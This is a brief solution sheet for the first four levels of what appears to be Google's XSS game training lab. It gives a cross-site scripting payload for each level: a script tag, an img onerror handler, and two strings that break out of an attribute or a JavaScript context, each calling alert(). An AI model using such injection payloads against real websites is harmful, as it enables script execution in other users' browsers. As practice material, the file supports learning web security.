1//Level 1: Hello, world of XSS
2//inside the input enter 
3<script>alert()</script>
4
5//Level 2: Persistence is key
6//inside the comment box
7<img src='x' onerror='alert()'>
8
9//Level 3: That sinking Feeling…
10//inside the address bar
111' onerror='alert();//
12
13//Level 4: Context matters
14//inside input
153'**alert());//